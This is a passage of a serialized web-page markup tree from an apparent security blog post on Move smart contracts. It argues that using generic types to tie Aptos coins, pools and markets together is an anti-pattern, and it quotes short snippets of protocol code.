let",{"type":25,"tag":201,"props":7894,"children":7895},{"style":220},[7896],{"type":31,"value":238},{"type":25,"tag":201,"props":7898,"children":7899},{"style":246},[7900],{"type":31,"value":7901},"x_reserve_size",{"type":25,"tag":201,"props":7903,"children":7904},{"style":220},[7905],{"type":31,"value":919},{"type":25,"tag":201,"props":7907,"children":7908},{"style":246},[7909],{"type":31,"value":7910},"y_reserve_size",{"type":25,"tag":201,"props":7912,"children":7913},{"style":220},[7914],{"type":31,"value":385},{"type":25,"tag":201,"props":7916,"children":7917},{"style":261},[7918],{"type":31,"value":1383},{"type":25,"tag":201,"props":7920,"children":7921},{"style":246},[7922],{"type":31,"value":7923}," get_reserves_size",{"type":25,"tag":201,"props":7925,"children":7926},{"style":220},[7927],{"type":31,"value":1298},{"type":25,"tag":201,"props":7929,"children":7930},{"style":4925},[7931],{"type":31,"value":7641},{"type":25,"tag":201,"props":7933,"children":7934},{"style":220},[7935],{"type":31,"value":919},{"type":25,"tag":201,"props":7937,"children":7938},{"style":4925},[7939],{"type":31,"value":7671},{"type":25,"tag":201,"props":7941,"children":7942},{"style":220},[7943],{"type":31,"value":7944},", LP>(",{"type":25,"tag":201,"props":7946,"children":7947},{"style":246},[7948],{"type":31,"value":7949},"pool_addr",{"type":25,"tag":201,"props":7951,"children":7952},{"style":220},[7953],{"type":31,"value":308},{"type":25,"tag":34,"props":7955,"children":7956},{},[7957,7959,7965,7967,7974],{"type":31,"value":7958},"As an aside, this generic type information is implemented at runtime in the ",{"type":25,"tag":115,"props":7960,"children":7962},{"className":7961},[],[7963],{"type":31,"value":7964},"ty_args",{"type":31,"value":7966}," ",{"type":25,"tag":71,"props":7968,"children":7971},{"href":7969,"rel":7970},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[75],[7972],{"type":31,"value":7973},"at the vm level",{"type":31,"value":7975},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":25,"tag":34,"props":7977,"children":7978},{},[7979,7981,7987,7989,7995,7997,8003,8004,8010],{"type":31,"value":7980},"In pseucode, this checks that ",{"type":25,"tag":115,"props":7982,"children":7984},{"className":7983},[],[7985],{"type":31,"value":7986},"coin_x.type",{"type":31,"value":7988}," is equal to ",{"type":25,"tag":115,"props":7990,"children":7992},{"className":7991},[],[7993],{"type":31,"value":7994},"pool.x_type",{"type":31,"value":7996},", and ",{"type":25,"tag":115,"props":7998,"children":8000},{"className":7999},[],[8001],{"type":31,"value":8002},"coin_y.type",{"type":31,"value":7988},{"type":25,"tag":115,"props":8005,"children":8007},{"className":8006},[],[8008],{"type":31,"value":8009},"pool.y_type",{"type":31,"value":80},{"type":25,"tag":34,"props":8012,"children":8013},{},[8014],{"type":31,"value":8015},"This type system has two advantages",{"type":25,"tag":6944,"props":8017,"children":8018},{},[8019,8031],{"type":25,"tag":6948,"props":8020,"children":8021},{},[8022,8024,8029],{"type":31,"value":8023},"It's required. The type parameter ",{"type":25,"tag":65,"props":8025,"children":8026},{},[8027],{"type":31,"value":8028},"must",{"type":31,"value":8030}," be specified so it's impossible to forget such a constraint",{"type":25,"tag":6948,"props":8032,"children":8033},{},[8034],{"type":31,"value":8035},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":25,"tag":34,"props":8037,"children":8038},{},[8039],{"type":31,"value":8040},"However, this system isn't perfect.",{"type":25,"tag":34,"props":8042,"children":8043},{},[8044,8046,8051],{"type":31,"value":8045},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":25,"tag":1252,"props":8047,"children":8048},{},[8049],{"type":31,"value":8050},"an anti-pattern",{"type":31,"value":80},{"type":25,"tag":34,"props":8053,"children":8054},{},[8055,8057,8063],{"type":31,"value":8056},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":25,"tag":115,"props":8058,"children":8060},{"className":8059},[],[8061],{"type":31,"value":8062},"CoinInfo\u003CCoinType>",{"type":31,"value":80},{"type":25,"tag":191,"props":8065,"children":8067},{"className":4487,"code":8066,"language":4486,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[8068],{"type":25,"tag":115,"props":8069,"children":8070},{"__ignoreMap":7},[8071,8098,8106,8175,8182,8189,8201,8246,8268],{"type":25,"tag":201,"props":8072,"children":8073},{"class":203,"line":204},[8074,8079,8084,8088,8093],{"type":25,"tag":201,"props":8075,"children":8076},{"style":246},[8077],{"type":31,"value":8078},"  fun",{"type":25,"tag":201,"props":8080,"children":8081},{"style":246},[8082],{"type":31,"value":8083}," initialize_internal",{"type":25,"tag":201,"props":8085,"children":8086},{"style":220},[8087],{"type":31,"value":1298},{"type":25,"tag":201,"props":8089,"children":8090},{"style":4925},[8091],{"type":31,"value":8092},"CoinType",{"type":25,"tag":201,"props":8094,"children":8095},{"style":220},[8096],{"type":31,"value":8097},">(\n",{"type":25,"tag":201,"props":8099,"children":8100},{"class":203,"line":226},[8101],{"type":25,"tag":201,"props":8102,"children":8103},{"style":4497},[8104],{"type":31,"value":8105},"      // ...\n",{"type":25,"tag":201,"props":8107,"children":8108},{"class":203,"line":278},[8109,8114,8118,8122,8127,8131,8135,8140,8145,8149,8153,8157,8162,8166,8170],{"type":25,"tag":201,"props":8110,"children":8111},{"style":220},[8112],{"type":31,"value":8113},"  )",{"type":25,"tag":201,"props":8115,"children":8116},{"style":261},[8117],{"type":31,"value":5997},{"type":25,"tag":201,"props":8119,"children":8120},{"style":220},[8121],{"type":31,"value":238},{"type":25,"tag":201,"props":8123,"children":8124},{"style":4925},[8125],{"type":31,"value":8126},"BurnCapability",{"type":25,"tag":201,"props":8128,"children":8129},{"style":220},[8130],{"type":31,"value":1298},{"type":25,"tag":201,"props":8132,"children":8133},{"style":4925},[8134],{"type":31,"value":8092},{"type":25,"tag":201,"props":8136,"children":8137},{"style":220},[8138],{"type":31,"value":8139},">, ",{"type":25,"tag":201,"props":8141,"children":8142},{"style":4925},[8143],{"type":31,"value":8144},"FreezeCapability",{"type":25,"tag":201,"props":8146,"children":8147},{"style":220},[8148],{"type":31,"value":1298},{"type":25,"tag":201,"props":8150,"children":8151},{"style":4925},[8152],{"type":31,"value":8092},{"type":25,"tag":201,"props":8154,"children":8155},{"style":220},[8156],{"type":31,"value":8139},{"type":25,"tag":201,"props":8158,"children":8159},{"style":4925},[8160],{"type":31,"value":8161},"MintCapability",{"type":25,"tag":201,"props":8163,"children":8164},{"style":220},[8165],{"type":31,"value":1298},{"type":25,"tag":201,"props":8167,"children":8168},{"style":4925},[8169],{"type":31,"value":8092},{"type":25,"tag":201,"props":8171,"children":8172},{"style":220},[8173],{"type":31,"value":8174},">) {\n",{"type":25,"tag":201,"props":8176,"children":8177},{"class":203,"line":311},[8178],{"type":25,"tag":201,"props":8179,"children":8180},{"style":4497},[8181],{"type":31,"value":8105},{"type":25,"tag":201,"props":8183,"children":8184},{"class":203,"line":330},[8185],{"type":25,"tag":201,"props":8186,"children":8187},{"emptyLinePlaceholder":17},[8188],{"type":31,"value":496},{"type":25,"tag":201,"props":8190,"children":8191},{"class":203,"line":397},[8192,8197],{"type":25,"tag":201,"props":8193,"children":8194},{"style":214},[8195],{"type":31,"value":8196},"      assert!",{"type":25,"tag":201,"props":8198,"children":8199},{"style":220},[8200],{"type":31,"value":4970},{"type":25,"tag":201,"props":8202,"children":8203},{"class":203,"line":437},[8204,8209,8214,8218,8223,8227,8231,8236,8241],{"type":25,"tag":201,"props":8205,"children":8206},{"style":261},[8207],{"type":31,"value":8208},"          !",{"type":25,"tag":201,"props":8210,"children":8211},{"style":246},[8212],{"type":31,"value":8213},"exists",{"type":25,"tag":201,"props":8215,"children":8216},{"style":220},[8217],{"type":31,"value":1298},{"type":25,"tag":201,"props":8219,"children":8220},{"style":4925},[8221],{"type":31,"value":8222},"CoinInfo",{"type":25,"tag":201,"props":8224,"children":8225},{"style":220},[8226],{"type":31,"value":1298},{"type":25,"tag":201,"props":8228,"children":8229},{"style":4925},[8230],{"type":31,"value":8092},{"type":25,"tag":201,"props":8232,"children":8233},{"style":220},[8234],{"type":31,"value":8235},">>(",{"type":25,"tag":201,"props":8237,"children":8238},{"style":246},[8239],{"type":31,"value":8240},"account_addr",{"type":25,"tag":201,"props":8242,"children":8243},{"style":220},[8244],{"type":31,"value":8245},"),\n",{"type":25,"tag":201,"props":8247,"children":8248},{"class":203,"line":464},[8249,8254,8258,8263],{"type":25,"tag":201,"props":8250,"children":8251},{"style":220},[8252],{"type":31,"value":8253},"          error",{"type":25,"tag":201,"props":8255,"children":8256},{"style":261},[8257],{"type":31,"value":4988},{"type":25,"tag":201,"props":8259,"children":8260},{"style":214},[8261],{"type":31,"value":8262},"already_exists",{"type":25,"tag":201,"props":8264,"children":8265},{"style":220},[8266],{"type":31,"value":8267},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":25,"tag":201,"props":8269,"children":8270},{"class":203,"line":490},[8271],{"type":25,"tag":201,"props":8272,"children":8273},{"style":220},[8274],{"type":31,"value":8275},"      );\n",{"type":25,"tag":34,"props":8277,"children":8278},{},[8279,8281,8286],{"type":31,"value":8280},"While this ",{"type":25,"tag":115,"props":8282,"children":8284},{"className":8283},[],[8285],{"type":31,"value":8222},{"type":31,"value":8287}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":25,"tag":34,"props":8289,"children":8290},{},[8291,8293,8300],{"type":31,"value":8292},"Similarly, consider ",{"type":25,"tag":71,"props":8294,"children":8297},{"href":8295,"rel":8296},"https://ariesmarkets.xyz/",[75],[8298],{"type":31,"value":8299},"Aries Markets",{"type":31,"value":8301},", a lending/borrowing protocol building on Aptos.",{"type":25,"tag":34,"props":8303,"children":8304},{},[8305,8307,8313],{"type":31,"value":8306},"Their ",{"type":25,"tag":115,"props":8308,"children":8310},{"className":8309},[],[8311],{"type":31,"value":8312},"ReserveCoinContainer",{"type":31,"value":8314}," struct stores all the relevant data and resources for managing a lending market.",{"type":25,"tag":191,"props":8316,"children":8318},{"className":4487,"code":8317,"language":4486,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[8319],{"type":25,"tag":115,"props":8320,"children":8321},{"__ignoreMap":7},[8322,8330,8338,8379,8387,8416,8424,8461,8469,8506,8514,8551,8558,8565],{"type":25,"tag":201,"props":8323,"children":8324},{"class":203,"line":204},[8325],{"type":25,"tag":201,"props":8326,"children":8327},{"style":4497},[8328],{"type":31,"value":8329},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":25,"tag":201,"props":8331,"children":8332},{"class":203,"line":226},[8333],{"type":25,"tag":201,"props":8334,"children":8335},{"style":4497},[8336],{"type":31,"value":8337},"  /// Stored as a resources.\n",{"type":25,"tag":201,"props":8339,"children":8340},{"class":203,"line":278},[8341,8345,8350,8354,8358,8363,8367,8371,8375],{"type":25,"tag":201,"props":8342,"children":8343},{"style":208},[8344],{"type":31,"value":7306},{"type":25,"tag":201,"props":8346,"children":8347},{"style":4925},[8348],{"type":31,"value":8349}," ReserveCoinContainer",{"type":25,"tag":201,"props":8351,"children":8352},{"style":220},[8353],{"type":31,"value":1298},{"type":25,"tag":201,"props":8355,"children":8356},{"style":246},[8357],{"type":31,"value":7320},{"type":25,"tag":201,"props":8359,"children":8360},{"style":4925},[8361],{"type":31,"value":8362}," Coin0",{"type":25,"tag":201,"props":8364,"children":8365},{"style":220},[8366],{"type":31,"value":7330},{"type":25,"tag":201,"props":8368,"children":8369},{"style":246},[8370],{"type":31,"value":7335},{"type":25,"tag":201,"props":8372,"children":8373},{"style":246},[8374],{"type":31,"value":7440},{"type":25,"tag":201,"props":8376,"children":8377},{"style":220},[8378],{"type":31,"value":327},{"type":25,"tag":201,"props":8380,"children":8381},{"class":203,"line":311},[8382],{"type":25,"tag":201,"props":8383,"children":8384},{"style":4497},[8385],{"type":31,"value":8386},"      /// Stores the available `Coin`.\n",{"type":25,"tag":201,"props":8388,"children":8389},{"class":203,"line":330},[8390,8395,8399,8403,8407,8412],{"type":25,"tag":201,"props":8391,"children":8392},{"style":246},[8393],{"type":31,"value":8394},"      underlying_coin",{"type":25,"tag":201,"props":8396,"children":8397},{"style":261},[8398],{"type":31,"value":5997},{"type":25,"tag":201,"props":8400,"children":8401},{"style":4925},[8402],{"type":31,"value":7311},{"type":25,"tag":201,"props":8404,"children":8405},{"style":220},[8406],{"type":31,"value":1298},{"type":25,"tag":201,"props":8408,"children":8409},{"style":4925},[8410],{"type":31,"value":8411},"Coin0",{"type":25,"tag":201,"props":8413,"children":8414},{"style":220},[8415],{"type":31,"value":7646},{"type":25,"tag":201,"props":8417,"children":8418},{"class":203,"line":397},[8419],{"type":25,"tag":201,"props":8420,"children":8421},{"style":4497},[8422],{"type":31,"value":8423},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":25,"tag":201,"props":8425,"children":8426},{"class":203,"line":437},[8427,8432,8436,8440,8444,8448,8452,8456],{"type":25,"tag":201,"props":8428,"children":8429},{"style":246},[8430],{"type":31,"value":8431},"      collateralised_lp_coin",{"type":25,"tag":201,"props":8433,"children":8434},{"style":261},[8435],{"type":31,"value":5997},{"type":25,"tag":201,"props":8437,"children":8438},{"style":4925},[8439],{"type":31,"value":7311},{"type":25,"tag":201,"props":8441,"children":8442},{"style":220},[8443],{"type":31,"value":1298},{"type":25,"tag":201,"props":8445,"children":8446},{"style":4925},[8447],{"type":31,"value":7843},{"type":25,"tag":201,"props":8449,"children":8450},{"style":220},[8451],{"type":31,"value":1298},{"type":25,"tag":201,"props":8453,"children":8454},{"style":4925},[8455],{"type":31,"value":8411},{"type":25,"tag":201,"props":8457,"children":8458},{"style":220},[8459],{"type":31,"value":8460},">>,\n",{"type":25,"tag":201,"props":8462,"children":8463},{"class":203,"line":464},[8464],{"type":25,"tag":201,"props":8465,"children":8466},{"style":4497},[8467],{"type":31,"value":8468},"      /// Mint capability for LP Coin.\n",{"type":25,"tag":201,"props":8470,"children":8471},{"class":203,"line":490},[8472,8477,8481,8486,8490,8494,8498,8502],{"type":25,"tag":201,"props":8473,"children":8474},{"style":246},[8475],{"type":31,"value":8476},"      mint_capability",{"type":25,"tag":201,"props":8478,"children":8479},{"style":261},[8480],{"type":31,"value":5997},{"type":25,"tag":201,"props":8482,"children":8483},{"style":4925},[8484],{"type":31,"value":8485}," MintCapability",{"type":25,"tag":201,"props":8487,"children":8488},{"style":220},[8489],{"type":31,"value":1298},{"type":25,"tag":201,"props":8491,"children":8492},{"style":4925},[8493],{"type":31,"value":7843},{"type":25,"tag":201,"props":8495,"children":8496},{"style":220},[8497],{"type":31,"value":1298},{"type":25,"tag":201,"props":8499,"children":8500},{"style":4925},[8501],{"type":31,"value":8411},{"type":25,"tag":201,"props":8503,"children":8504},{"style":220},[8505],{"type":31,"value":8460},{"type":25,"tag":201,"props":8507,"children":8508},{"class":203,"line":499},[8509],{"type":25,"tag":201,"props":8510,"children":8511},{"style":4497},[8512],{"type":31,"value":8513},"      /// Burn capability for LP Coin.\n",{"type":25,"tag":201,"props":8515,"children":8516},{"class":203,"line":522},[8517,8522,8526,8531,8535,8539,8543,8547],{"type":25,"tag":201,"props":8518,"children":8519},{"style":246},[8520],{"type":31,"value":8521},"      burn_capability",{"type":25,"tag":201,"props":8523,"children":8524},{"style":261},[8525],{"type":31,"value":5997},{"type":25,"tag":201,"props":8527,"children":8528},{"style":4925},[8529],{"type":31,"value":8530}," BurnCapability",{"type":25,"tag":201,"props":8532,"children":8533},{"style":220},[8534],{"type":31,"value":1298},{"type":25,"tag":201,"props":8536,"children":8537},{"style":4925},[8538],{"type":31,"value":7843},{"type":25,"tag":201,"props":8540,"children":8541},{"style":220},[8542],{"type":31,"value":1298},{"type":25,"tag":201,"props":8544,"children":8545},{"style":4925},[8546],{"type":31,"value":8411},{"type":25,"tag":201,"props":8548,"children":8549},{"style":220},[8550],{"type":31,"value":8460},{"type":25,"tag":201,"props":8552,"children":8553},{"class":203,"line":531},[8554],{"type":25,"tag":201,"props":8555,"children":8556},{"emptyLinePlaceholder":17},[8557],{"type":31,"value":496},{"type":25,"tag":201,"props":8559,"children":8560},{"class":203,"line":550},[8561],{"type":25,"tag":201,"props":8562,"children":8563},{"style":4497},[8564],{"type":31,"value":8105},{"type":25,"tag":201,"props":8566,"children":8567},{"class":203,"line":563},[8568],{"type":25,"tag":201,"props":8569,"children":8570},{"style":220},[8571],{"type":31,"value":1178},{"type":25,"tag":34,"props":8573,"children":8574},{},[8575,8577,8582],{"type":31,"value":8576},"When creating a ",{"type":25,"tag":115,"props":8578,"children":8580},{"className":8579},[],[8581],{"type":31,"value":8312},{"type":31,"value":8583},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":25,"tag":191,"props":8585,"children":8587},{"className":4487,"code":8586,"language":4486,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[8588],{"type":25,"tag":115,"props":8589,"children":8590},{"__ignoreMap":7},[8591,8634,8660,8667,8688,8733,8740,8747,8754,8791,8798],{"type":25,"tag":201,"props":8592,"children":8593},{"class":203,"line":204},[8594,8599,8603,8608,8612,8617,8622,8626,8630],{"type":25,"tag":201,"props":8595,"children":8596},{"style":214},[8597],{"type":31,"value":8598},"  public",{"type":25,"tag":201,"props":8600,"children":8601},{"style":220},[8602],{"type":31,"value":298},{"type":25,"tag":201,"props":8604,"children":8605},{"style":246},[8606],{"type":31,"value":8607},"friend",{"type":25,"tag":201,"props":8609,"children":8610},{"style":220},[8611],{"type":31,"value":385},{"type":25,"tag":201,"props":8613,"children":8614},{"style":246},[8615],{"type":31,"value":8616},"fun",{"type":25,"tag":201,"props":8618,"children":8619},{"style":246},[8620],{"type":31,"value":8621}," create",{"type":25,"tag":201,"props":8623,"children":8624},{"style":220},[8625],{"type":31,"value":1298},{"type":25,"tag":201,"props":8627,"children":8628},{"style":4925},[8629],{"type":31,"value":8411},{"type":25,"tag":201,"props":8631,"children":8632},{"style":220},[8633],{"type":31,"value":8097},{"type":25,"tag":201,"props":8635,"children":8636},{"class":203,"line":226},[8637,8642,8646,8651,8656],{"type":25,"tag":201,"props":8638,"children":8639},{"style":246},[8640],{"type":31,"value":8641},"      lp_store",{"type":25,"tag":201,"props":8643,"children":8644},{"style":261},[8645],{"type":31,"value":5997},{"type":25,"tag":201,"props":8647,"children":8648},{"style":261},[8649],{"type":31,"value":8650}," &",{"type":25,"tag":201,"props":8652,"children":8653},{"style":246},[8654],{"type":31,"value":8655},"signer",{"type":25,"tag":201,"props":8657,"children":8658},{"style":220},[8659],{"type":31,"value":547},{"type":25,"tag":201,"props":8661,"children":8662},{"class":203,"line":278},[8663],{"type":25,"tag":201,"props":8664,"children":8665},{"style":4497},[8666],{"type":31,"value":8105},{"type":25,"tag":201,"props":8668,"children":8669},{"class":203,"line":311},[8670,8675,8679,8684],{"type":25,"tag":201,"props":8671,"children":8672},{"style":220},[8673],{"type":31,"value":8674},"  ) ",{"type":25,"tag":201,"props":8676,"children":8677},{"style":246},[8678],{"type":31,"value":7852},{"type":25,"tag":201,"props":8680,"children":8681},{"style":4925},[8682],{"type":31,"value":8683}," Reserves",{"type":25,"tag":201,"props":8685,"children":8686},{"style":220},[8687],{"type":31,"value":327},{"type":25,"tag":201,"props":8689,"children":8690},{"class":203,"line":330},[8691,8696,8700,8705,8710,8714,8719,8723,8728],{"type":25,"tag":201,"props":8692,"children":8693},{"style":220},[8694],{"type":31,"value":8695},"      lp",{"type":25,"tag":201,"props":8697,"children":8698},{"style":261},[8699],{"type":31,"value":4988},{"type":25,"tag":201,"props":8701,"children":8702},{"style":214},[8703],{"type":31,"value":8704},"assert_is_lp_store",{"type":25,"tag":201,"props":8706,"children":8707},{"style":220},[8708],{"type":31,"value":8709},"(signer",{"type":25,"tag":201,"props":8711,"children":8712},{"style":261},[8713],{"type":31,"value":4988},{"type":25,"tag":201,"props":8715,"children":8716},{"style":214},[8717],{"type":31,"value":8718},"address_of",{"type":25,"tag":201,"props":8720,"children":8721},{"style":220},[8722],{"type":31,"value":298},{"type":25,"tag":201,"props":8724,"children":8725},{"style":246},[8726],{"type":31,"value":8727},"lp_store",{"type":25,"tag":201,"props":8729,"children":8730},{"style":220},[8731],{"type":31,"value":8732},"));\n",{"type":25,"tag":201,"props":8734,"children":8735},{"class":203,"line":397},[8736],{"type":25,"tag":201,"props":8737,"children":8738},{"emptyLinePlaceholder":17},[8739],{"type":31,"value":496},{"type":25,"tag":201,"props":8741,"children":8742},{"class":203,"line":437},[8743],{"type":25,"tag":201,"props":8744,"children":8745},{"style":4497},[8746],{"type":31,"value":8105},{"type":25,"tag":201,"props":8748,"children":8749},{"class":203,"line":464},[8750],{"type":25,"tag":201,"props":8751,"children":8752},{"emptyLinePlaceholder":17},[8753],{"type":31,"value":496},{"type":25,"tag":201,"props":8755,"children":8756},{"class":203,"line":490},[8757,8762,8766,8770,8774,8778,8782,8786],{"type":25,"tag":201,"props":8758,"children":8759},{"style":214},[8760],{"type":31,"value":8761},"      move_to",{"type":25,"tag":201,"props":8763,"children":8764},{"style":220},[8765],{"type":31,"value":298},{"type":25,"tag":201,"props":8767,"children":8768},{"style":246},[8769],{"type":31,"value":8727},{"type":25,"tag":201,"props":8771,"children":8772},{"style":220},[8773],{"type":31,"value":919},{"type":25,"tag":201,"props":8775,"children":8776},{"style":4925},[8777],{"type":31,"value":8312},{"type":25,"tag":201,"props":8779,"children":8780},{"style":220},[8781],{"type":31,"value":1298},{"type":25,"tag":201,"props":8783,"children":8784},{"style":4925},[8785],{"type":31,"value":8411},{"type":25,"tag":201,"props":8787,"children":8788},{"style":220},[8789],{"type":31,"value":8790},"> {\n",{"type":25,"tag":201,"props":8792,"children":8793},{"class":203,"line":499},[8794],{"type":25,"tag":201,"props":8795,"children":8796},{"style":4497},[8797],{"type":31,"value":7683},{"type":25,"tag":201,"props":8799,"children":8800},{"class":203,"line":522},[8801],{"type":25,"tag":201,"props":8802,"children":8803},{"style":220},[8804],{"type":31,"value":8805},"      });\n",{"type":25,"tag":34,"props":8807,"children":8808},{},[8809],{"type":31,"value":8810},"In both these instances, type association only works because we create exactly one instance per type.",{"type":25,"tag":34,"props":8812,"children":8813},{},[8814,8816,8822,8824,8830,8832,8837],{"type":31,"value":8815},"On the other hand, consider if you have a ",{"type":25,"tag":115,"props":8817,"children":8819},{"className":8818},[],[8820],{"type":31,"value":8821},"Position\u003CT>",{"type":31,"value":8823}," and a ",{"type":25,"tag":115,"props":8825,"children":8827},{"className":8826},[],[8828],{"type":31,"value":8829},"Market\u003CT>",{"type":31,"value":8831}," where ",{"type":25,"tag":115,"props":8833,"children":8835},{"className":8834},[],[8836],{"type":31,"value":7496},{"type":31,"value":8838}," is the coin type.",{"type":25,"tag":191,"props":8840,"children":8842},{"className":4487,"code":8841,"language":4486,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[8843],{"type":25,"tag":115,"props":8844,"children":8845},{"__ignoreMap":7},[8846,8874,8902,8909,8916,8923,8951,8971,8978],{"type":25,"tag":201,"props":8847,"children":8848},{"class":203,"line":204},[8849,8853,8858,8862,8866,8870],{"type":25,"tag":201,"props":8850,"children":8851},{"style":208},[8852],{"type":31,"value":7560},{"type":25,"tag":201,"props":8854,"children":8855},{"style":4925},[8856],{"type":31,"value":8857}," Market",{"type":25,"tag":201,"props":8859,"children":8860},{"style":220},[8861],{"type":31,"value":1298},{"type":25,"tag":201,"props":8863,"children":8864},{"style":246},[8865],{"type":31,"value":7320},{"type":25,"tag":201,"props":8867,"children":8868},{"style":4925},[8869],{"type":31,"value":7427},{"type":25,"tag":201,"props":8871,"children":8872},{"style":220},[8873],{"type":31,"value":8790},{"type":25,"tag":201,"props":8875,"children":8876},{"class":203,"line":226},[8877,8882,8886,8890,8894,8898],{"type":25,"tag":201,"props":8878,"children":8879},{"style":246},[8880],{"type":31,"value":8881},"        reserves",{"type":25,"tag":201,"props":8883,"children":8884},{"style":261},[8885],{"type":31,"value":5997},{"type":25,"tag":201,"props":8887,"children":8888},{"style":4925},[8889],{"type":31,"value":7311},{"type":25,"tag":201,"props":8891,"children":8892},{"style":220},[8893],{"type":31,"value":1298},{"type":25,"tag":201,"props":8895,"children":8896},{"style":4925},[8897],{"type":31,"value":7496},{"type":25,"tag":201,"props":8899,"children":8900},{"style":220},[8901],{"type":31,"value":7646},{"type":25,"tag":201,"props":8903,"children":8904},{"class":203,"line":278},[8905],{"type":25,"tag":201,"props":8906,"children":8907},{"style":4497},[8908],{"type":31,"value":7683},{"type":25,"tag":201,"props":8910,"children":8911},{"class":203,"line":311},[8912],{"type":25,"tag":201,"props":8913,"children":8914},{"style":220},[8915],{"type":31,"value":4861},{"type":25,"tag":201,"props":8917,"children":8918},{"class":203,"line":330},[8919],{"type":25,"tag":201,"props":8920,"children":8921},{"emptyLinePlaceholder":17},[8922],{"type":31,"value":496},{"type":25,"tag":201,"props":8924,"children":8925},{"class":203,"line":397},[8926,8930,8935,8939,8943,8947],{"type":25,"tag":201,"props":8927,"children":8928},{"style":208},[8929],{"type":31,"value":7560},{"type":25,"tag":201,"props":8931,"children":8932},{"style":4925},[8933],{"type":31,"value":8934}," Position",{"type":25,"tag":201,"props":8936,"children":8937},{"style":220},[8938],{"type":31,"value":1298},{"type":25,"tag":201,"props":8940,"children":8941},{"style":246},[8942],{"type":31,"value":7320},{"type":25,"tag":201,"props":8944,"children":8945},{"style":4925},[8946],{"type":31,"value":7427},{"type":25,"tag":201,"props":8948,"children":8949},{"style":220},[8950],{"type":31,"value":8790},{"type":25,"tag":201,"props":8952,"children":8953},{"class":203,"line":437},[8954,8959,8963,8967],{"type":25,"tag":201,"props":8955,"children":8956},{"style":246},[8957],{"type":31,"value":8958},"        amount",{"type":25,"tag":201,"props":8960,"children":8961},{"style":261},[8962],{"type":31,"value":5997},{"type":25,"tag":201,"props":8964,"children":8965},{"style":4925},[8966],{"type":31,"value":7369},{"type":25,"tag":201,"props":8968,"children":8969},{"style":220},[8970],{"type":31,"value":547},{"type":25,"tag":201,"props":8972,"children":8973},{"class":203,"line":464},[8974],{"type":25,"tag":201,"props":8975,"children":8976},{"style":4497},[8977],{"type":31,"value":7683},{"type":25,"tag":201,"props":8979,"children":8980},{"class":203,"line":490},[8981],{"type":25,"tag":201,"props":8982,"children":8983},{"style":220},[8984],{"type":31,"value":4861},{"type":25,"tag":34,"props":8986,"children":8987},{},[8988,8990,8995,8997,9002],{"type":31,"value":8989},"If ",{"type":25,"tag":115,"props":8991,"children":8993},{"className":8992},[],[8994],{"type":31,"value":8829},{"type":31,"value":8996}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":25,"tag":115,"props":8998,"children":9000},{"className":8999},[],[9001],{"type":31,"value":7496},{"type":31,"value":9003}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":25,"tag":34,"props":9005,"children":9006},{},[9007],{"type":31,"value":9008},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":25,"tag":191,"props":9010,"children":9012},{"className":4487,"code":9011,"language":4486,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[9013],{"type":25,"tag":115,"props":9014,"children":9015},{"__ignoreMap":7},[9016,9024,9086,9135,9187,9212,9224,9245,9253,9266],{"type":25,"tag":201,"props":9017,"children":9018},{"class":203,"line":204},[9019],{"type":25,"tag":201,"props":9020,"children":9021},{"style":4497},[9022],{"type":31,"value":9023},"    /// Get the price of the token per lamport.\n",{"type":25,"tag":201,"props":9025,"children":9026},{"class":203,"line":226},[9027,9032,9036,9041,9045,9050,9054,9059,9063,9067,9072,9077,9082],{"type":25,"tag":201,"props":9028,"children":9029},{"style":246},[9030],{"type":31,"value":9031},"    public",{"type":25,"tag":201,"props":9033,"children":9034},{"style":246},[9035],{"type":31,"value":7715},{"type":25,"tag":201,"props":9037,"children":9038},{"style":214},[9039],{"type":31,"value":9040}," 